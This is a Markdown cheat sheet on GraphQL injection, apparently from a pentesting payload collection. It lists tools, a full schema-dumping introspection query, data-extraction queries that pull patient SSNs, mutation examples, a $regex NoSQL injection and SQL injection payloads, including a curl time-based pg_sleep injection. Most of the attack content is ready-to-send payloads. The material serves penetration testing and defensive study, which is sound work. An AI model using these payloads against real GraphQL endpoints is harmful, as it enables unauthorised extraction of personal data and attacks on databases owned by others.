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259 lines
7.7 KiB
Markdown
259 lines
7.7 KiB
Markdown
# GraphQL injection
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> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
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## Summary
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* [Tools](#tools)
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* [Exploit](#exploit)
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* [Identify an injection point](#identify-an-injection-point)
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* [Enumerate Database Schema via Instropection](#enumerate-database-schema-via-introspection)
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* [Extract data](#extract-data)
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* [Extract data using edges/nodes](#extract-data-using-edges-nodes)
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* [Extract data using projections](#extract-data-using-projections)
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* [Enumerate the types' definition](#enumerate-the-type-definition)
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* [Use mutations](#use-mutations)
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* [NOSQL injection](#nosql-injection)
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* [SQL injection](#sql-injection)
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* [References](#references)
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## Tools
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* [GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes](https://github.com/swisskyrepo/GraphQLmap)
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* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/)
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* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide)
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## Exploit
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### Identify an injection point
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Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.
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```js
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example.com/graphql?query={__schema{types{name}}}
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example.com/graphiql?query={__schema{types{name}}}
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```
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Check if errors are visible.
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```javascript
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?query={__schema}
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?query={}
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?query={thisdefinitelydoesnotexist}
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```
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### Enumerate Database Schema via Introspection
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URL encoded query to dump the database schema.
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```js
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fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
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```
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URL decoded query to dump the database schema.
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```javascript
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fragment FullType on __Type {
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kind
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name
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description
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fields(includeDeprecated: true) {
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name
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description
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args {
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...InputValue
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}
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type {
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...TypeRef
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}
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isDeprecated
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deprecationReason
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}
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inputFields {
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...InputValue
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}
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interfaces {
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...TypeRef
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}
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enumValues(includeDeprecated: true) {
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name
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description
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isDeprecated
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deprecationReason
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}
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possibleTypes {
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...TypeRef
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}
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}
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fragment InputValue on __InputValue {
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name
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description
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type {
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...TypeRef
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}
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defaultValue
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}
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fragment TypeRef on __Type {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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}
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}
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}
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}
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}
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}
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}
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}
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query IntrospectionQuery {
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__schema {
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queryType {
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name
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}
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mutationType {
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name
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}
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types {
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...FullType
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}
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directives {
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name
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description
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locations
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args {
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...InputValue
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}
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}
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}
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}
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```
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### Extract data
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```js
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example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
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```
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### Extract data using edges/nodes
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```json
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{
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"query": "query {
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teams{
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total_count,edges{
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node{
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id,_id,about,handle,state
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}
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}
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}
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}"
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}
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```
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### Extract data using projections
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:warning: Don’t forget to escape the " inside the **options**.
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```json
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{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
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```
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### Enumerate the types' definition
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Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
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```javascript
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{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
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```
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### Use mutations
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Mutations work like function, you can use them to interact with the GraphQL.
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```javascript
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# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
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# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
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```
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### NOSQL injection
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Use `$regex`, `$ne` from []() inside a `search` parameter.
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```json
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{
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doctors(
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options: "{\"limit\": 1, \"patients.ssn\" :1}",
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search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
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{
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firstName lastName id patients{ssn}
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}
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}
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```
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### SQL injection
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Send a single inside a graphql parameter to trigger the SQL injection
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```powershell
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{
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bacon(id: "1'") {
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id,
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type,
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price
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}
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}
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```
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Simple SQL injection inside a graphql field.
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```powershell
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curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
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```
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## References
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* [Introduction to GraphQL](https://graphql.org/learn/)
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* [GraphQL Introspection](https://graphql.org/learn/introspection/)
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* [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
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* [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/)
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* [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
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* [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
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* [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
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* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066)
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* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
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* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
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* [GraphQL cheatsheet - DEVHINTS.IO](https://devhints.io/graphql)
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* [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
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* [Introspection query leaks sensitive graphql system information - @Zuriel](https://hackerone.com/reports/291531)
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* [Graphql Bug to Steal Anyone’s Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417) |